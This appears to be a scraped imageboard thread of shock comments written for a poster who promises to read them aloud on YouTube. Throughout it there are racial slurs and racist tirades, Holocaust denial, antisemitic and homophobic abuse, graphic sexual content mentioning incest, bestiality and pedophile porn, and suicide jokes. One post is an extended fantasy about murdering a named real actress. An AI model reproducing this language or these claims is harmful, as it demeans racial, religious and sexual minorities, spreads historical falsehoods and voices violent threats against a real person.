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In three hours, I will start recording a youtube video of myself

The stories and information posted here are artistic works of fiction and falsehood.
Only a fool would take anything posted here as fact.

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In three hours, I will start recording a youtube video of myself reading the comments of this thread out loud.
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saxaphone boom boom owlie poo poo
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CUNT FUCK TROMBONE IN MY ASS CUCK SLAP MY COCK FACE OWL FUCKING PIECE OF SHIT LALALALALALALALALALALALALALALALALALALALALALALALALALALALAFUCKINGCUNTFAG
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Niggers should be hung, women are not mens equals, white men are superior.

The holocaust is a jew spewed lie.

Trump is the best president ever and I love transexual pedophile porn and furr tentacles with prolapse.
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Sometime I read gay fanfictions.
I ain't gay tho.
It's not like I fap to traps.
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yesterday soros in my ass

i ate billy
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I fuck cats. I secretly jerk off to my mother everynight and dream about sucking on her massive teetaas
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FUCK NIGGERS
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I luv u 5evr, dat mean mor den 4ever
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Nederlands is een mooie taal Scheveningen weed peen en ui
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I will never be happy.
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CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN
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THE MOON LANDING WAS A FALSE FLAG
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Unthrifty loveliness, why dost thou spend
Upon thyself thy beauty's leg?
Nature's bequest gives nothing but doth lend,
And being frank she blends to those are free.
Then, beauteous niggard, why dost thou abuse
The bounteous largess given thee to give?
Profitless usurer, why dost thoust usest
So great a sum of sums, yet canst not live?
For having traffic with thyself alone,
Thou of thyself thy sweet self dost deceive.
Then how, when nature balls thee to be gone,
What acceptable audit canst thou leave?
Thy unused beauty must be tomb'd with thee,
Which, used, lives th' executor to be.
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When you wish upon a star, your dreams been dead for thousands of year already.
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nigger tongue my anus
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>>721526861
k
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Check this 5
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NIGGERS NIGGERS STEALING BIKES
IN THE SUBBURBS OF LA
WHAT CUCKISH SJW EYE
COULD FRAME YOUR DINDUUH NOTTING SAY?
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>>721526277
here's an inconvenient truth for you: poop tastes better with jizz in it.
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Suck my motherfucking cock you Jew nosed, half pint lookin, cunt ass piece of unholy donkey shit.

I'm gonna kick the shit out of you so hard you'll taste stool the next time you cough. I'll puncture your lungs with my massive cock so for the rest of your days you'll have semen in your bronchial tubes you zipperhead gook.

Nigger nigger nigger nigger.
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The left caused 9/11 by being supreme pussies
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Oh god, why have I done this. This thread is absolute cancer. Sage goes in all fields.
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Also OP should at least give us his YouTube channel so I don't have to wait three fucking hours for delivers.
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KYS URSELF AND DIE
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>>721527004
no wait i can saev this

SOMEBODY ONCE TOLD ME
THE WORLD WAS GONNA ROLL ME
IM NOT THE SHARPEST TOOL IN THE SHED
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When your girlfriend goes to a beach party in colorado and she gets the heart attack from watching lone sharks kill a seal, revive her asap by pulling her eyelids outwards and pissing in the eyelid pocket. This message is approved by the NR AYE, nobody is watching
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Yo, les margoulins !
Ça va aujourd'hui ?
Moi? Super ! J'ai enfin décidé entre sauter d'un pont ou faire une overdose d'héro :D
Je vais faire les deux !

P.S: Tout les américains sont des sacs a merde décérébrés et inutiles, juste bon a bouffer des burgers ou ouvrir leurs grandes gueules pour dire de la merde au lieu de se taire et réfléchir

Allez tchao bonsoir
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Crusty cum socks taste like chips
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>>721526277
>>721526688
>>721526788
>>721526833
its a dubs train-it must be done
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>>721526277
and then i woke up
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>>721527488
And I realized I had shat all over my bed. Mummy will certainly remove a few GBP for this. I hope I still have enough for tendies.
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Two to the one to the two to the three, I like good pussy and ai like good trees, smoke so much weed you wouldn't believe and I get more ass than a toilet seat. Three from the one to the two from the three, I met a bad bitch last night at the D, let me tell you how I made her leave with me, conversation and tenese.
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HOW MANY DICKS MUST A MEN SUCK DRY
BEFORE YOU CAN CALL HIM A FAG?
YES, AND HOW MANY NIGS COCKS MUST A WHITE CUCK SHAG
BEFORE HE CAN CHECK PRIVILEGE
Yes, 'n' how many times must the cannonballs fly
BEFORE ONLY BLACK LIVES MATTERS
The answer, my friend, is blowin' in the tugs,
The answer is blowin' in them and kneel
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>>721527663
It's Hennessey you fucking idiot
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>>721527004
You gotta commit or your mother will die in her sleep tonight if you don't reply to this post.
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What the fuck did you just fucking say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn’t, you didn’t, and now you’re paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You’re fucking dead, kiddo.
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Suck my toes.
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Lurk moar
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How the fuck are people gonna see the delivery. This thread and like half the people posting in it are gonna be gone in three fucking hours.
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I play Pokémon go everyday
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Life is a constant parade of sideshow after sideshow, waiting for the main event. Then you die.
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I love snorting pubic hair
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You subhuman baboon. You literal nigger.

How dare you speak, you swarthy jungle monkey. How dare you open your big lipped, rim encrusted, menthol cigarette smelling mouth?

You are human trash, Diego Tyrone LeShawn de Maradona. Universally despised, derided and mocked. Your nationality and skin tone offers no hope to the world that South America can ever prosper. Crawl back in to the Brazilian jungle you came out of, you literal orangutan.

I hope you decide to sail your grandfathers skip to the Falklands and rape some sheep, as is in the negroes nature. It would still be the whitest pussy you ever had. Give Nigel and Robert a chance for some target practice, your sole use to the world. Argentinians obsession with a few windswept islands in the Atlantic is hilarious but sad. Coincidentally its the only worthwhile contribution Argentina has made to the medical field. The MUH LAS MALVINAS sentiment in the average negro Argentinian is both an early warning sign of autism in children, and early on set Alzheimer's in adults.

Take your black hairy fingers off your keyboard, and never talk about the human species again, you mockery of our supposed shared ancestor.. No amount of olive oil and wheat flour slabbed on your face every morning will make you white. It's about as delusional of an idea as your daydreams of European heritage.

You nigger.

You make Bolivia look like a beacon of civilisation.

You are the Baltimore of South America.

Go fertilise the pampas with you and your families corpses, its the best you can hope for in life. For the first time in your life, nigger, you have a job making food for beings vastly superior to yourself. Uruguayan cattle. Coincidentally, it would be the first time an Argentinian "man" provided for a family.

Die, Diego. No one would miss you. Except for Australian Aboriginals, who now would have no one to make them look good.

Also check em.
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>>721526277
I love anime pussy trump is a sick cunt
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Oskar lamington is named after a chocolate
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hey OP where can we see the video? niggerfgt
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>>721528531
Exactly, OP is a fucking gay retard . I'm about to make my own thread and actually post a place to receive the delivery
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Joeseph And TDC/JFK
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>>721528590
please do it would be ashame to see all of these Anon's hard work goto waste, there is some gold here and I would like to hear it
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>>721528657
I'm on mobile so I'm trying to see if there's any way I can quickly create a still image with some audio over it
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MOM WHERE IS MY VIRGINITY?
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>>721530134
Upyourass
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>>721526277
how loud?
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Okay the video is uploading, I'll post link when it's finished but my YouTube account is 110 Montauk if you guys miss it.
>>721528657
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Yes, YES, NO MOM I SWEAR IM NOT GAY... but seriously kill yourself fag.. I LIKE POLSKA KIELBASA... stop fingering my ass uncle JERRY, saltine sleeve
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>>721526277
OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP will not deliver, he is a quiver and will shiver with the prospect of having to deliver because let it be said that OP is a faggot.
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>>721527176
HEY NOW! YOU'RE A MEMESTAR. GET UR HARDON. CUM PLAY
HEY NOW! YOU'RE A MEMESTAR. GET UR HARDON. CUM PLAY

I'M A FUUUUUCKING FAAAAAAAAGET

LEEEEEEET'SSSSS GET ROIIIIIIIIIIIIIGHT INTO THE NEWS!
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>>721526277

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poor OP i feel bad for him being such a faggot
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https://youtu.be/nRM_7QyzAVc HERE IT IS BOIS
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>>721531837
aww shit son
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>>721531837
OP DELIVERED LELS LELS LELS
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>>721532094
Follow me on Twitter @RonnieScholar
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>>721532094
I'm not even OP, he never posted a place to receive deliver so I decided not to be a faggot
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>>721527803
http://vocaroo.com/i/s1xys6eAYvcG
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>>721526277
you better be that fuckin owl
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* play any of Michael Jackson's copyrighyed tracks *
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>>721533354
http://vocaroo.com/i/s0EkMrD0CeUJ
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>>721531837
Video is unlisted. OP is a faggot.
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>>721531837
>2:29
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>>721531837
Good work
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>>721527803
If you tell me you fucking lot of luggage? so I know that the US military has completed a best in class, this may have been involved in several secret Al Saudi, you will get to kill more than 300 trained gorilla war, I say to all our military sniper best. You're the only goal in this for me. We have never seen the light, and what to remove and mark the word hell. I think you can get away with saying that shit on the internet? Consider the bastard to do. If this is the case, we must be prepared storm larvae Now we have the results of the agent to communicate with each of our intelligence network in the United States and studies. cotton towels storm called a compassionate life. holding a dead baby. You will never be where you kill more than seven hundred different ways and this is just my bare hands. You little shit, I'm ready to fight for large arsenal, but to wipe his ass full access to all Army Corps, US Navy, that only the continent. If you are not familiar with, such as penalties for "smart" you are holy to bring down, maybe to organize a language rabies. If it was, but can not, you can now pay the price, fool. My Dung Rabies front will drown. Are you the leg of a dead child.
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What on earth are you just a dildo a little bit dog about me? I know that you are graduating from the top of my class to the Navy, and I was involved in many secret entrants into the channel quarda, and have a death of over 300 confirmation It must be. I am practicing in the gorilla war and I am a high sniper in the US military. You are nothing for me, not just one goal. This exactly ends my unkindness due to it, one unprecedented curse in this country. Do you think that you can tell me that shit through the Internet when you come out? Think again, bastard. I am in the secret network of Spy all over the US, I connect your IP, now I have a better storm and preparation for larvae continues. A storm that destroys poor things called life. Cursed dead, baby. It can be done anytime, anywhere, and can be killed in more than 700 ways, but this is his bare hand. Not only I but your work I have not got extensively trained in unarmed battles, but do not have access to the entire Navy's Arsenal of the United States and the unhappy exclusion to the ass on the ass face of the continent Shit is used for the shit. If you can not know what the penalty holds closing his mouth is probably the world that has a small "smart" comment on strange deletion. But I am paying the current price, you can not dildo, idiot. Anger is shit about you, you drown on it. A cursed dead young man.
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⍋ Phase

Bogface
Ability to see anything
other universes
talk to aliens
addiction the bogposting
can last up to 6 weeks
must abandon your freinds and family

p̡̛̛͍̰̞̦̞̺̥͈͚͎̖̈́̑̿͆͊͐̆ͬͪ̅̾ͧ̇̾̂̆́ņ̷̜͕̫͖̾ͩͮ̀̐͐͜͠u̸̹̣̙̲͕̤͚̭͍̗͚̞̩̘̙͍͉̤͊̈̅̓̏ͫ̐ͫ͑̒ͪ̊̄͐͋̓̿͟͝l̟̺̹͉͈͍̝̭̳̱̮̰̟̠̫͉̊ͨͭ̇͛̿͞t̵̡̠̜̲͈̮̗̗̞͙͈͈͔̰̂̑ͮ̌̾ͦ̆̑ͤ̋ͯͧͫ͊͜͝î̢̫̘͕̤̖ͭ̄̒̓ ̶̖̣͓͍̮̝̱̘̣̲̰ͧ̆͋̇͆̐ͩ̄̆̽̒̿̂̈́̃̒̉̚͘ ⸔ stage
; - t̺̱̣̣̼͑̓͞r̷̫̠̩̬͊̅ǔ̸̙̫ͯͬͦ̎ͯ̑͞ē̪̖̈́ͫ̅ͭ̍̌̍́ ̜̬̰͍̟͕͂͐̈́̅̊͗͛ͤ͒͢b̵̪̣͉̘̖̺̽́̀o̙̫̳͚̥̼͎̞̾̾̃́̍͞ͅg̵̪̽̊̔͗̑̏͐̂̋͜ ̐̌͌͑ͧ͏̗̖̳̹̙l͇̙̖͓͔͕͇̍͊õ̮̩̩͎̙̣̦̞̤ͧ̾̄ͩ̀o̩͕̞͇̩͓̓̅͘ǩ̷̟̪̫͎͙́͂̾͗̅ͮs̸̸͎̫͍̉̍
will see aliens that will test mental capacity
a̘̪̬͙̟̘̓ͩͪ́́͜ͅb̸͓̩̯ͯ̊̂̎̐ͮ̾͞l̛̥͖̆̾ͭͩ̃e̫̠͕̻̳̭͉͌̽̋ͭ̅̎̍̃͑ to solve any question t̻̤̭̰̦͓͚͗͗̄̌̅̔ͫ̕asked
able to citrus-dick without pain
flying

Theorized 6th bogstage

never been reached
immortality is granted
replace Igor
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The 5 Stages of the Bog Pill

ζ (Zeta) Phase lasts the first 20 minutes

Prickly sensation on skin
No Bogdanoff contact
γ (Gamma) Phase lasts another 20 minutes
Become hypersensitive to sound
Start hearing Bogs, won't be able to comprehend
May be able to hear colors
Uncontrollable Shaking

ω (Omega Phase)

Extreme pain
No movement
90% will drop out of this phase
May last 10 seconds to 15 minutes
In some extreme cases, Igor will appear but never Grishka
High chance of blackpilling at this stage

⍋ Phase

Bogface
Ability to see anything
other universes
talk to aliens
addiction the bogposting
can last up to 6 weeks
must abandon your freinds and family

p̡̛̛͍̰̞̦̞̺̥͈͚͎̖̈́̑̿͆͊͐̆ͬͪ̅̾ͧ̇̾̂̆́ņ̷̜͕̫͖̾ͩͮ̀̐͐͜͠u̸̹̣̙̲͕̤͚̭͍̗͚̞̩̘̙͍͉̤͊̈̅̓̏ͫ̐ͫ͑̒ͪ̊̄͐͋̓̿͟͝l̟̺̹͉͈͍̝̭̳̱̮̰̟̠̫͉̊ͨͭ̇͛̿͞t̵̡̠̜̲͈̮̗̗̞͙͈͈͔̰̂̑ͮ̌̾ͦ̆̑ͤ̋ͯͧͫ͊͜͝î̢̫̘͕̤̖ͭ̄̒̓ ̶̖̣͓͍̮̝̱̘̣̲̰ͧ̆͋̇͆̐ͩ̄̆̽̒̿̂̈́̃̒̉̚͘ ⸔ stage
; - t̺̱̣̣̼͑̓͞r̷̫̠̩̬͊̅ǔ̸̙̫ͯͬͦ̎ͯ̑͞ē̪̖̈́ͫ̅ͭ̍̌̍́ ̜̬̰͍̟͕͂͐̈́̅̊͗͛ͤ͒͢b̵̪̣͉̘̖̺̽́̀o̙̫̳͚̥̼͎̞̾̾̃́̍͞ͅg̵̪̽̊̔͗̑̏͐̂̋͜ ̐̌͌͑ͧ͏̗̖̳̹̙l͇̙̖͓͔͕͇̍͊õ̮̩̩͎̙̣̦̞̤ͧ̾̄ͩ̀o̩͕̞͇̩͓̓̅͘ǩ̷̟̪̫͎͙́͂̾͗̅ͮs̸̸͎̫͍̉̍
will see aliens that will test mental capacity
a̘̪̬͙̟̘̓ͩͪ́́͜ͅb̸͓̩̯ͯ̊̂̎̐ͮ̾͞l̛̥͖̆̾ͭͩ̃e̫̠͕̻̳̭͉͌̽̋ͭ̅̎̍̃͑ to solve any question t̻̤̭̰̦͓͚͗͗̄̌̅̔ͫ̕asked
able to citrus-dick without pain
flying

Theorized 6th bogstage

never been reached
immortality is granted
replace Igor
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>>721526277
At last I've found you, my most slippery foe.
For years I've trawled the darkest depths of this Mongolian wood carving website, hoping beyond hope to one day come across your vile visage.
Your trolling, lies, and debauched shenanigans will come to an end tonight.
As we speak, crack team of Arminian genocide deniers and social justice warriors are walking up their twitter accounts, and within minutes, this thread, that comment, and everything you've ever posted will be used to track you down and bring you before the altar of the Hildog, where your blood will be shed in penance for your crimes against social justice.
Never again will you see the sun.
Carpae trollulum
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No one truly knows the intentions of gods. As mere mortals we can only sit back and wait our entire lives to experience and understand only moments of their eternal existence.

There are those who foretell of Bogs eternal love being blessed upon the mortal human race where we live in a wondrous time of scientific enlightenment and life spans increase 100x.

There are also those who foretell the bogmageddon where they purge every human who is incompatible with the bogdanoffs holy DNA leaving a meager population of perfect bog like humans to continue our species.

There are also those, who appear in the night in places you would never expect. They gather at a specific time in a hidden location and discuss the end of time which may be caused by the Bogdanoff brothers. They will use their wondrous knowledge of the functions of the universe as they know it to destroy the entire planet with nothing but a glance and a smile from their perfect face.

Three different fates, three different bogdabilities. Only time shall reveal which comes to pass.
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>Be me
>Wake up
>Realize nothing means anything.
>Tell me, myself and, I to lay off on teh suicide plans.
>Because
>Out there on the biggy diggy wide interwez there exist forums unt sites what are exclusively designed for and cater to shitposting.
>And
>So
>Therefore
>Shit
>mUsT
>BEH
>PoStEd
>MFW
>Moving pictographic image of relevance.
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>Time is the apex-predator of the universe.
>All things will become not but dust and ash.
>We're all dead men living.
>And deep down on the inside we iz all skerlinton kangz
>Shiggy blyat
>cyka diggy
>Flop de wopps
>I does the bettle rollz
>The dark-one Milhouse will rise once more to consume the Mudkipz and confront the almighty creator Magicarp in his eternal splash.
>???
>Profit
>Girugamesh?¿?¿
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The FitnessGram Pacer Test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter pacer test will begin in 30 seconds. Line up at the start. The running speed starts slowly but gets faster each minute after you hear this signal bodeboop. A sing lap should be completed every time you hear this sound. ding Remember to run in a straight line and run as long as possible. The second time you fail to complete a lap before the sound, your test is over. The test will begin on the word start. On your mark. Get ready!… Start. ding
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>>721526277
This many edges on a 3d model would take my dual e5v4 xeon processor with a pair of quadro M6000 gpu's weeks to render.
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normies leave reeee
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Hail to thee, Kek! Hail to thee, Kek, who created himself.
Thou art the High, in this thy name of “Height.”
Thou camest into being in this thy name of “KEK”
Hail to thee, Eye of Horus, which he furnisheth with his hands
completely.
He permitteth not thee to be obedient to those of the West;
He permitteth not thee to be obedient to those of the East;
He permitteth not thee to be obedient to those of the South;
He permitteth not thee to be obedient to those of the North;
He permitteth not thee to be obedient to those who are in the earth;
[For] thou art obedient to Horus.
He it is who hath furnished thee, he it is who hath builded thee,
he it is who hath made thee to be dwelt in.
Thou doest for him whatsoever he saith unto thee, in every place
whither he goeth.
Thou takest them to him in every place wherein it pleaseth him to be.
The doors upon thee stand fast [shut] like the god Anmutef,
They open not to those who are in the West;
They open not to those who are in the East;
They open not to those who are in the North;
They open not to those who are in the South;
They open not to those who are in the middle of the earth;
But they open to Kek.

He it was who made them, he it was who made them stand firm, he it was who delivered them from every evil attack which the god Set made upon them. He it was who made thee to be a settled country in this thy name of “Kek” He it was who passed bowing after thee in thy name of “Nut.” He it was who delivered thee from every evil attack which Set made upon thee
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I hurt myself today...
To see if i still feel
I focus on the memes, the only thing thats real
The Pepe tears a hole, the old familiar frog
try to shill it all away
But I deposit, everything...

I hurt myself today...
To see if i still feel
I focus on the memes, the only thing thats real
The Pepe, tears a hole, the old familiar frog
try to shill it, all away
But I just shitpost, everything...

-What have i become
-my normie friend
-That is bait i know
-but i reply in the end
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>be a meme war veteran
>sometimes I get flashbacks
>I can still hear Alex Jones screaming
>I can still see the shitty CTR memes when I close my eyes

>try to go to sleep
>"WHEN THE GUNS START BLAZING HE'S GOING TO CHOP HER LIKE FUCKING MINCE MEAT! HE'S GOING TO FUCKING CRUSH HER! I'M GOING TO ORGANIZE WITH MY FAMILY AND REALIZE THAT WE'RE UNDER ATTACK BY THE SOCIAL ENGINEERS! 20% OFF MALE VITALITY! WE'RE BREAKING THE CONDITIONING! HAND OVER THE DELEGATES, DAHNALD! PEPE! PEPE! PEPE!"
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Pardon me, did you just say something to me eh? I'll have you know I graduated at the top of my class in the Canadian Politeness Force, and I've been involved in numerous secret runs to Tim Hortons, and I have over 300 confirmed friends. I am trained in welcoming warfare and am the most passive aggressive member of the entire canadian population. You are a person that I have yet to make friends with. I will talk to you with kindness the likes of which have never been seen before on this earth, mark my passiveness. You think you can get away with not saying thank you? Think again, neighbour. As we speak I am contacting my secret network of syrup drinking moose across the northern territories and your IP is being traced so you better prepare for the gift baskets, buddy. The gift baskets that not only contain Gift cards, but donuts from tim hortons too. You're gonna be befriended, guy. I can be nice anywhere, anytime, and can be nice to you in over seven hundred ways, and that's just if I write letters. Not only am i extensively trained in passive aggressive combat, but I have access to the entire moose army of the Canadian Maple Leaf Marine Corps and I will use it to its full extent to welcome your friendly ass right into the neighbourhood. You little neighbourino. If you had only known what friendly retribution your comment was about to bring down, maybe you would have eaten poutine with me. But you couldn't, you didn't, and now you're gonna let me pay the bill because that's how nice I am, guy. I will put you in the hospital and it will cost nothing cause our healthcare is free. I'll say sorry now, friendo.
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Welcome to niggerland
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Pewdiepie is the best youtuber ever. He's also the sexiest man alive, I would love to have sooooooo much gay sex with him. Pewdiepie, if you're watching this, call me baby. I have a hard on for you you dirty naughty boi.
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Meme war 1 also refeared as Great meme war or The meme war to end all meme wars (ww1 referance)Was a conflict betven internet sites sparked bye 2016 presidental election betven Hilary Clinton and Donald Trump.Witch lasted from 2015 to november 8th 2016 Bigest part in it took conservative right wing 4chan Progresive liberal Reddit and some omount took tumblr ,facebook ,Instagramm etc.The war in general was to make memes and exchange them betvean sites to prove other one that there candidate is superior.One of the biggest batles was betvean reddit and 4chan witch was also (bye 4chan users) refered as invasion into Reddit wich in the end 4chan won,and many 4chan users where joking how they humiliated reddit users and they hope this wount lead in any conflicts in the future (refearing to France and Britain Humiliating Germany after its loss in ww2 witch played a big role in Rise of Adolf Hitler)Although these so called ''Batles'' didnt do mutch to the election in general but the bigest contribution was the memes them selves,bigest part of the memes where yust procandidate memes that had no points in them hovever the few for example #DraftOurdaughters meme posted on 4chan witch was making fun of hilary,s Pro woman attitude and her idea,s of no fly zone in syria witch would let into direct conflict with russia where these so called game changer memes witch where copied and reposted in verius of sites all across the internet and made many undecidet voters a new idea,s of bouth candidates.After 8th of november trump,s victory meme war was over and 4chan left victorius.
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>>721527803
http://vocaroo.com/i/s0Nwp4nOnzfR
Ples put this in vid b0s
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Oooooooh I’m so scared, you think you’re tough pussy? I’m behind 7 proxies and use ZoneAlarm, Sygate and Comodo Internetnet Securtiy which I all keep up-to-date. THAT’S THREE FIREWALLS AT THE SAME TIME motherfucker. You can’t hack me you little piece of shit. You’re peeshooter and kung fu won’t make a difference when my friend woh’s a B-51 pilot in the Air Force can turn your entire house and backyard into a fuckhuge bomb crater. You are pathetic, while you’re sitting there writing insults like the sad little nerd you are i’m having sex with my hot girlfriends. Yeah you read that right, i have not one but FIVE girlfriends. Top that motherfucker, I dont think you’ve ever even held hands with a girl.
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I can no longer resist the pizza. I open the box and unzip my pants with my other hand. As I penetrate the gooey cheese, I moan in ecstacy. The mushrooms and Italian sausage are rough, but the sauce is deliciously soothing. I blow my load in seconds. As you leave the bathroom, I exit through the front door….
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>>721534967

"Realize nothing means anything"

Well that's correct, it's everything and nothing at the same time.

We are the dreaming divine consciousness experiencing individuality billions of times, the person you think you are is but a dream of Divine consciousness (God) which is everything (the whole Universe and all dimensions).

The kicker is our ego our persona is just a collection of thoughts, our life just a creation of a supreme consciousness experiencing individuality, in you is that divine consciousness and he observes as your mind and body fap or do anything for that matter.

This is what all Yoga/Hindu's/Buddists believe pretty much and I've discovered they are probably right, this isn't a simulation per se, it's a dream of a God.
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ʜᴇʟʟᴏ ᴄʜᴀᴛ ɪ ᴀᴍ ғᴀᴍᴏᴜs ғᴀsᴄɪsᴛ ʟᴇᴀᴅᴇʀ, ᴀᴅᴏʟғ ʜɪᴛʟᴇʀɪɴᴏ. ᴡᴇ ᴡᴏᴜʟᴅ ʟɪᴋᴇ ʏᴏᴜ ᴀɴᴅ ɴᴀᴢɪ ᴍᴏᴅs ᴛᴏ ᴘᴀʀᴛɪᴄɪᴘᴀᴛᴇ ɪɴ ᴏᴜʀ ɴᴇᴡ ᴘʀᴏᴘᴀɢᴀɴᴅᴀ ғɪʟᴍ “sɪᴇɢ ʜᴇɪʟ ʟɪғᴇsᴛʏʟᴇ” ʏᴏᴜ ᴡᴏᴜʟᴅ ʀᴀɪsᴇ ʏᴏᴜʀ ᴅᴏɴɢᴇʀs ᴀɴᴅ ɴᴀᴢɪ ᴍᴏᴅs sᴀʏ ɴᴏ ᴘᴀsᴛᴇʀɪɴᴏ ᴀɴᴅ ʙᴀɴʜᴀᴍᴍᴇʀ.
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Gr8 b8, m8. I rel8, str8 appreci8, and congratul8. I r8 this b8 an 8/8. Plz no h8, I’m str8 ir8. Cre8 more, can’t w8. We should convers8, I won’t ber8, my number is 8888888, ask for N8. No calls l8 or out of st8. If on a d8, ask K8 to loc8. Even with a full pl8, I always have time to communic8 so don’t hesit8
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Comment or your mom will die in her sleep
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>>721535693

But on the plus side is everyone is God in a sense for everyone has the divine consciousness inside them observing your life.
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>>721535818
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helo my name is dongerino pasterino ヽ༼ຈل͜ຈ༽ノ, i am 69 year old donger from imaqtmeatloaf’s stream . 420 years ago i was kidnapped and put into a donger concentration camp for 9001 years. 1 year ago, imaqtlasagne and imaqtpie invaded the camp and rescued me. now i work as teacherino, passing down the wisdom of to young dongers.
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FACT: NEWGROUNDS WAS FUNNY WHEN WE WERE ALL 12 LIVING IN THE SUBURBS LISTENING TO LINKIN PARK WATCHING DRAGONBALL Z DRINKING PEPSI WHILE PLAYING HALO CO-OP ON THE EASIEST SETTING DURING WHICH WE CONSUMED DORITOS AND LOOKED AT PAINTBALL GUNS ON EBAY IN INTERNET EXPLORER CONNECTED THROUGH AOL ON A 56K MODEM BEFORE HOPPING INTO OUR BALDING FATHERS' LATEST MIDLIFE-CRISIS-IMPULSE-SPONSORED JAPANESE-BUILT SUV TO HEAD TO THE MALL AND GET MORE SKATEBOARDING SHOES AND THIRD-RATE IRREGULAR LEVIS AND MOUNTAIN BIKE PARTS BEFORE HEADING HOME, VOTING DEMOCRAT AND MASTURBATING TO THE LATEST SEARS CATALOG WHILE HUFFING PAINT IN YOUR GARAGE BEFORE TALKING TO PEDOPHILES ON AIM PRETENDING TO BE WHATEVER CAMWHORE THEY'RE RANTING ABOUT ON MYSPACE WITH A MATRIX QUOTE/ANIME CHARACTER NAME/TRIPLE SIX-ASTERISK-PARENTHESES-SURROUNDED SCREENNAME BEFORE HEADING TO YOUR SUPPOSED "GOOD SCHOOL" IN THE MORNING TO BUY MORE POT TO SMOKE DURING YOUR COUNTER-STRIKE LAN PARTY WITH JIMMY AND THE REST OF HIS FRIENDS TAKING RITALIN AND ADDERALL AND PROZAC EIGHT TIMES A DAY BEFORE TAKING A CASUAL PASS AT LOCAL, STATE OR NATIONAL GOVERNMENTAL FIGURES, LEGISLATURE, OR STRUCTURE TO APPEAR EDGY AND INTELLIGENT IN FRONT OF YOUR BUDWEISER-SNEAKING, LIMP-WRISTED, NEAR-TO-COLUMBINE SOCIOPATHIC "DEEP" FRIENDS WHO PLAY THE VICTIM WHEN THEY START LOSING ARGUMENTS SIX DAYS BEFORE THEIR BOTCHED SUICIDE ATTEMPT SIMPLY BECAUSE SCHOOL TRAMP NUMBER TWELVE WOULDN'T GO UNDER THE BLEACHERS WITH THEM TO LET THEM GET TO SECOND BASE BEFORE THEIR THIRTEENTH BIRTHDAY.
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>Writing: Come up with shit that no one's thought of before and inspire them to dedicate their lives to make it a reality
>Art: Pull shit that doesn't exist out of thin air and slap it on paper
>Robotics: make shit that's never walked before run and kick you in the face for fun
>Programming: make something that can beat that faggot in the back of the class at chess and disseminate his past life decisions while at it
>Electronics: make the most badass fucking system that applies both conventional relativity and special relativity to calculate position on a global basis
>Astronomy: search for worlds beyond anyone's imagination, explain them and show everyone how fucking badass they are
>Medicine: save people's lives, reengineer the very definition of a cell's genes to make oil or a cure for anything
>Engineering: you rule the world
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Sorry but your password must contain;
an uppercase letter,
a number,
a haiku,
a gang sine,
a hieroglyph,
and, the blood of a virgin.
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>>721526277
Kekidy Kek Kek
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trump assasination. dirty bomb. ISIS. allahu akbar. i have information that will lead to the arrest of hillary clinton.
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This nigga a right here who we should be sending to fight niggas in the middle east. Boy done knocked out a fucking roo those niggas nothin but muscle on more muscle.
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Imblying any of this will ever read
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Mom, dad.... I'm gay. That wasn't even a 4chan comment, I was just using this as an excuse to come out. (Looks intently at the camera).
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Almost every minute of every day I am thinking about brutally murdering and dismembering Cara Delevingne. She is my favorite person in the entire world and my favorite actress but I want to fucking murder her with an Axe. Whenever I eat food I pretend that it's made out of her and whenever I cook I pretend I'm cooking her flesh. I bite myself till I'm bleeding and I pretend I'm biting her. Someone's I will stab or bite into raw meat and pretend it's Cara. Yesterday I stabbed the shit out of some raw hamburger meat and then I fucked it and pretended it was Cara's neck. I watch the same videos, pictures, movies, everyday for hours and hours. I talk to her every night in my head before I go to bed. I would murder my entire family Just to punch her in the face or something. I love you so fucking much Cara.
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CLOSE TO THE EDGE, DOWN BY THE RIVERRRR
DOWN AT THE END, ROUND BY THE CORNERRRR
SEEAAASONS WILL PASS YOU BY!!!!
NOW THAT IT'S ALL OVER AN DONE CALLED TO THE SEED, RIGHT TO RIGHT TO THE SUN
NOW THAT YOU FIND THAT YOU'RE WHOLE
SEEEAAASOONS WILL PASS YOU BYYYYY!

I GET UUUUUUUUUUUUUUUUUUUUUUP, I GET DOOOOOOOWN
I GET UUUUUUUUUUUUUUUUUUUUUUP, I GET DOOOOOOOWN
